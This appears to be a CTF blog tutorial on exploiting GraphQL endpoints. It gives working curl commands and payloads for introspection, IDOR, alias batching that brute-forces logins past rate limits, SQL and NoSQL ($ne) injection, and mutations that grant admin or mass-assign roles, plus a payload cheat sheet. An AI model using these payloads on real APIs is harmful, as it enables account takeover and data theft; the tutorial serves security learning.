Skip to main content

July 5, 2026

GraphQL Exploitation for CTF: From /graphql to the Flag

Found a /graphql endpoint in a web CTF? Dump the schema with introspection, find hidden queries and mutations, then chain IDOR, batching, and injection to the flag.

A small port in a blank panel from which a large branching lattice of nodes unfolds.

You found /graphql. Here is the whole playbook.

A web CTF gives you a single endpoint at /graphql and a frontend that talks to it. You do not need to guess routes, brute-force parameters, or scrape the site map. GraphQL hands you a typed contract for the entire backend, and in most CTF builds it will tell you everything if you ask the right way. The fastest path to the flag is almost always: confirm the endpoint, run an introspection query to dump the schema, read the schema for a query or mutation that touches secrets, then call it.

Here is the one-shot move. Send the introspection query below to /graphql. If it returns a giant JSON blob of types, you own the schema and the rest is reading comprehension.

# Confirm the endpoint speaks GraphQL and introspection is on
curl -s https://target.ctf/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ __schema { queryType { name } mutationType { name } } }"}'
 
# A live schema responds with something like:
# {"data":{"__schema":{"queryType":{"name":"Query"},
# "mutationType":{"name":"Mutation"}}}}
REST hides its shape and makes you guess. GraphQL publishes its shape and dares you to read it. In a CTF, that is a gift.

The sections below go in the order you should actually work a target: understand the model, dump the schema, recover the schema when introspection is locked, hunt the hidden fields, then attack the data with IDOR (Insecure Direct Object Reference), batching, injection, and mutation abuse. If you have not done general web recon yet, start with the Web Recon for CTF post and come back once you have located the endpoint.

How is GraphQL different from REST (and why that helps you)?

REST spreads its surface across dozens of URLs: /api/users, /api/users/1, /api/orders, each with its own verbs and parameters. You discover them by crawling, fuzzing, and reading JavaScript. GraphQL collapses all of that into one endpoint, usually /graphql, where the client sends a query describing exactly which fields it wants and the server returns exactly those fields.

Three properties of that design are directly useful to an attacker:

  • Single endpoint. One URL handles reads (queries) and writes (mutations). You point every payload at the same place, and a Repeater tab or a single curl line covers the whole API.
  • Strongly typed schema. Every object, field, argument, and return type is declared. The server knows its own shape and, by default, will describe it to anyone who asks via introspection.
  • The client picks the fields. You decide what comes back. If a User type has a passwordHash or apiToken field and the resolver does not block it, you simply add that field to your selection set and read it.

A GraphQL request is just HTTP POST with a JSON body. Two fields matter: query (the operation text) and variables (a JSON object of inputs). The braces in the query text are the selection set: they say which nested fields you want back. Here is the same request with and without variables.

# Inline arguments
curl -s https://target.ctf/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ user(id: 1) { id username email } }"}'
 
# Same thing with variables (cleaner, and how the frontend usually sends it)
curl -s https://target.ctf/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"query U($id: Int!) { user(id: $id) { id username email } }",
"variables":{"id":1}}'
Note: GraphQL nearly always returns HTTP 200 even on errors. The real status lives in the JSON body under an errors array. Read the body, not the status line. Error messages are also your best friend on a CTF: they leak field names, type names, and "did you mean" suggestions that map the schema for you.

How do I dump the entire schema with introspection?

Introspection is a feature, not a bug: GraphQL servers expose meta-fields named __schema and __type that describe the API in the API's own query language. When it is enabled (the default in many frameworks, and common in CTF builds), one query returns every type, field, argument, and description on the server. This is the single highest-value request you will send.

The full introspection query is long. You rarely type it by hand; tools ship it built in. But it helps to know the shape, so here is a compact version that recovers types, fields, and arguments:

query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
name
kind
description
fields {
name
description
args { name type { name kind ofType { name kind } } }
type { name kind ofType { name kind } }
}
}
}
}

Send it as a normal POST. With curl, the cleanest approach is to put the query in a file so you do not fight shell escaping:

# introspect.json contains: {"query":"query IntrospectionQuery { ... }"}
curl -s https://target.ctf/graphql \
-H 'Content-Type: application/json' \
--data @introspect.json | jq '.data.__schema.types[].name'
 
# Want just one type's fields? Use __type:
curl -s https://target.ctf/graphql -H 'Content-Type: application/json' \
-d '{"query":"{ __type(name: \"User\") { fields { name } } }"}'

The tools that turn that JSON into something readable:

  • graphql-voyager renders the schema as an interactive graph of types and relations. Paste the introspection result and you see the whole data model at a glance, including relationships the frontend never uses.
  • InQL is a Burp Suite extension that runs introspection, generates sample queries for every operation, and lets you fire them from Repeater. If you are already in Burp (see the Burp Suite for CTF guide), this is the fastest workflow.
  • GraphiQL or any GraphQL IDE, if the target left one mounted at /graphql or /graphiql, gives you autocomplete driven by the live schema. Type a brace and it suggests every valid field.
Tip: After you dump the schema, do not read all of it. Grep for greed. Search the JSON for words like password, token, secret, admin, flag, role, private, and internal. CTF authors name the win condition something obvious, and a field called flag on a Challenge type is not subtle.

What if introspection is disabled?

Hardened targets switch introspection off, so __schema returns an error like GraphQL introspection is not allowed. This does not close the door; it just means you recover the schema a different way. The type system is still enforced on every request, and that enforcement leaks information.

Three approaches, in order of how much work they are:

  • Suggestions and error messages. Many servers (Apollo among them) ship "did you mean" suggestions on by default even when introspection is off. Send a query for a field that almost exists and the error proposes the real name. Send { usr { id } } and you may get back Cannot query field "usr". Did you mean "user"? Repeat against guessed field names to rebuild the schema field by field.
  • clairvoyance. This tool automates exactly that. It hammers the endpoint with malformed queries, harvests the suggestion messages, and reconstructs a usable schema even with introspection disabled. Point it at the endpoint and a wordlist and let it map the types for you.
  • Client-side artifacts. The frontend has to know the schema to build its queries. Read the JavaScript bundles for hardcoded query strings, operation names, and field selections. Network tab plus a quick search for query and mutation in the JS often recovers the exact operations the app uses, which is usually all you need.
# Probe for suggestion leakage when __schema is blocked
curl -s https://target.ctf/graphql -H 'Content-Type: application/json' \
-d '{"query":"{ user { passwrd } }"}' | jq '.errors[].message'
 
# Typical leak: "Cannot query field \"passwrd\" on type \"User\".
# Did you mean \"password\"?"
Key insight: Disabling introspection is obscurity, not security. The schema is still fully enforced, so the server keeps confirming or denying your guesses on every request. Suggestion messages turn that enforcement into an oracle, and an oracle is all you need to rebuild the map. Treat "introspection disabled" as "introspection is slower," not "introspection is impossible."

How do I find the hidden queries and mutations that leak data?

Once you have the schema, the win is rarely the field the frontend uses. It is the field the frontend does not use: an operation that exists in the schema because a developer wired it up, never exposed in the UI, and never properly access-controlled. GraphQL ships these by accident constantly because every resolver the team writes becomes publicly callable unless someone explicitly gates it.

Walk the Query and Mutation root types from your introspection dump and list every field. Then ask, for each one: does the UI ever call this? Names that should make you sit up:

  • users (plural) when the app only ever shows one user at a time: an unfiltered list resolver often dumps every account.
  • allUsers, adminUsers, internalConfig, debug, systemInfo: developer or admin operations left in.
  • Mutations like updateUserRole, setAdmin, createInvite, resetPassword: writes that change authorization state, covered in the auth-bypass section below.

Call a suspicious query and select the greedy fields. If a User type exposed role and apiToken in the schema, ask for them directly:

curl -s https://target.ctf/graphql -H 'Content-Type: application/json' \
-d '{"query":"{ users { id username email role apiToken } }"}' | jq
 
# If access control is missing, you get the full table, tokens included:
# {"data":{"users":[
# {"id":1,"username":"admin","email":"a@x.ctf","role":"ADMIN",
# "apiToken":"picoCTF{...}"}, ... ]}}

For a structured way to think about which operations are dangerous and how authorization is supposed to gate them, the Authentication Bypass and IDOR post covers the access-control model that these resolvers usually get wrong.

How does IDOR work through GraphQL?

IDOR is the same flaw it is everywhere: an object is fetched by an identifier you control, and the server forgets to check whether you are allowed to see that object. GraphQL makes it cleaner to exploit because the identifier is usually a named argument right there in the query, and the schema told you the type. If user(id: Int!) exists, you change the id.

# You are user 7. Try to read user 1 (often the admin).
curl -s https://target.ctf/graphql -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <your-token>' \
-d '{"query":"{ user(id: 1) { id username email role apiToken } }"}'

When ids are sequential integers, enumeration is trivial. When they are UUIDs or other opaque values, look for a list resolver that returns objects with their ids embedded, or a nested relation that walks from an object you can see to one you should not. GraphQL's nested selection sets make this lateral movement natural: from your own order, traverse to the customer, then to that customer's other orders.

# Pivot through relationships the schema exposes
{
order(id: 1003) {
id
customer {
id
email
orders { id total shippingAddress }
}
}
}
Warning: Object-level authorization is the single most common GraphQL failure. Frameworks make it easy to add a field resolver and easy to forget the "can this viewer read this object" check. Test every id argument, and test nested objects separately. The parent query can be authorized while a nested resolver is wide open.

How do I use batching and aliasing to brute force or bypass rate limits?

Rate limiting usually counts HTTP requests. GraphQL lets you pack many operations into one request, so the limiter sees a single hit while the server does dozens of lookups. Two mechanisms make this work: aliasing and array batching.

Aliasing lets you call the same field many times in one query by giving each call a unique label. This turns a brute-force or enumeration into a single POST. It is the classic way to defeat a login or one-time-password rate limit:

# One request, many guesses, via aliases a0..a3
mutation {
a0: login(user: "admin", password: "0000") { token }
a1: login(user: "admin", password: "0001") { token }
a2: login(user: "admin", password: "0002") { token }
a3: login(user: "admin", password: "0003") { token }
}
# Generate the alias list in a script, paste a few thousand at once.

Array batching sends a JSON array of independent operations in a single HTTP body. If the server supports it (many do by default), each array element is a full query executed server-side:

curl -s https://target.ctf/graphql -H 'Content-Type: application/json' \
-d '[
{"query":"{ user(id: 1) { email apiToken } }"},
{"query":"{ user(id: 2) { email apiToken } }"},
{"query":"{ user(id: 3) { email apiToken } }"}
]'
# Response is an array of results, one per query, in one round trip.
Tip: Aliasing also enumerates IDOR targets fast. Instead of one request per user id, alias u1: user(id: 1) through u500: user(id: 500) in a single query and dump 500 records at once. Generate the query body with a quick loop (see the Web Recon scripting tips) rather than typing aliases by hand.

Can I inject SQL or NoSQL inside GraphQL arguments?

Yes, and GraphQL does nothing to stop it. The GraphQL layer validates that an argument matches its declared type (a String is a string), but it does not sanitize the contents. Whatever you put in a string argument is passed straight to the resolver, and if that resolver builds a SQL or NoSQL query by concatenation, your payload rides along. GraphQL is a passthrough, not a filter.

For classic SQL injection, treat a string argument exactly like a URL parameter. Probe with a quote, watch for a 200 with an errors entry that leaks a database message, then escalate to a boolean or union payload:

# Break out of a string argument and watch the errors array
{ product(category: "books'") { id name } }
 
# Boolean-based probe inside the argument
{ product(category: "books' OR '1'='1") { id name price } }
 
# If the field accepts an order/sort string, that is a frequent sink:
{ products(orderBy: "name; SELECT ...") { id } }

NoSQL backends (MongoDB is common) are vulnerable when a resolver forwards a structured input object into a query. If the schema declares an input type or a JSON-ish argument, you can sometimes smuggle operators like $ne or $regex through it. Authentication checks that compare a password are the prime target:

# If a login mutation takes a filter-like input object,
# an operator injection can match any record:
mutation($f: UserFilter!) { login(filter: $f) { token } }
 
# variables:
{ "f": { "username": "admin", "password": { "$ne": null } } }
# $ne: null matches the admin record regardless of the real password.

picoCTF has no dedicated GraphQL challenge, but the operator-smuggling half of this section is the whole of No Sql Injection, where a login endpoint deserializes the request body into a Mongo query and a $ne operator walks straight past the password check. The GraphQL wrapper changes nothing about that bug.

Warning: The same payloads that work against REST work here; only the wrapper changed. Run your normal SQLi and NoSQLi probes against every string and input argument the schema exposes. Do not assume the GraphQL type system protected the resolver. It validated the shape of your input and then handed the contents straight to the database.

How do mutations lead to auth bypass?

Mutations are the write half of GraphQL, and like queries they become callable the moment a resolver exists. The dangerous pattern is a mutation that changes authorization state, such as a role, a permission flag, an account's owner, exposed without a check that the caller is allowed to make that change. If the schema has a mutation that sets your role, you do not need to escalate through a bug; you just call it.

# A mutation that should be admin-only, called as a normal user
mutation {
updateUser(id: 7, role: "ADMIN") {
id
username
role
}
}
# If it returns role: "ADMIN", you just promoted yourself.

Mass-assignment is the subtler cousin. A registration or profile-update mutation that accepts a broad input object may let you set fields the form never showed, such as isAdmin or role, because the resolver spreads the whole input into the database record. Read the input type from the schema and try setting every privileged-looking field:

mutation($u: RegisterInput!) { register(input: $u) { id role } }
 
# variables: include fields the signup form never offered
{ "u": { "username": "player", "password": "pw",
"role": "ADMIN", "isAdmin": true } }

Password-reset and token-issuing mutations deserve special attention. A resetPassword(email: ...) that returns the reset token in its response, or a createSession that accepts a user id without proving identity, is a direct account takeover. Combine this with the IDOR enumeration from earlier: find the admin's id, then aim an authorization-changing mutation at it.

Key insight: GraphQL does not add an authorization model. Every resolver is public by default and the developer has to remember to guard each one individually. That is why the winning move on so many GraphQL CTF challenges is not a clever exploit at all: it is reading the schema, spotting the one mutation nobody gated, and calling it.

Quick reference

Working a /graphql endpoint, in order

  1. Confirm it speaks GraphQL: POST { __typename } and read the JSON body.
  2. Run introspection (__schema / __type). Render it with graphql-voyager or InQL.
  3. If introspection is off, harvest "did you mean" suggestions, run clairvoyance, and read the frontend JS for hardcoded operations.
  4. Grep the schema for password, token, flag, admin, role, internal.
  5. List every Query and Mutation field. Flag the ones the UI never calls.
  6. Change every id argument (IDOR). Pivot through nested relations to objects you should not see.
  7. Use aliasing and array batching to enumerate and to beat rate limits in one request.
  8. Inject into string and input arguments (SQLi, NoSQL operator injection). GraphQL does not sanitize.
  9. Call authorization-changing mutations directly. Try mass-assignment of role / isAdmin on register and update.

Payload cheat sheet

# Schema in one line
{ __schema { types { name fields { name } } } }
 
# Single type
{ __type(name: "User") { fields { name type { name } } } }
 
# IDOR
{ user(id: 1) { id email role apiToken } }
 
# Batch via aliases
{ a: user(id:1){email} b: user(id:2){email} }
 
# NoSQL operator injection in variables
{"password": {"$ne": null}}
 
# Privilege mutation
mutation { updateUser(id: 7, role: "ADMIN") { role } }

For the primary specification and the canonical write-up of these classes, the GraphQL documentation explains the type system and introspection, and the PortSwigger Web Security Academy GraphQL topic plus the OWASP Web Security Testing Guide cover the attack surface in depth.

picoCTF has no dedicated GraphQL challenge at the time of writing, but the IDOR and mass-assignment pivots above are the same access-control bugs its web challenges do test, so practice them through the authentication bypass and IDOR guide.

GraphQL is not a harder target than REST; it is an easier one that documents itself, so treat the schema as the answer key and the flag is just the field nobody locked.

Sources and further reading

GraphQL is unusual in that the API is required to be able to describe itself. The specification is therefore the attack surface documentation.

Run it in the browser

Tools on this site that do the work described above. No install, nothing uploaded: they run entirely in your browser.

Try it on these picoCTF challenges

Walkthroughs that put this technique to work, grouped by event.

Keep reading

Guides that build on the same ideas, plus the roadmap this topic sits under.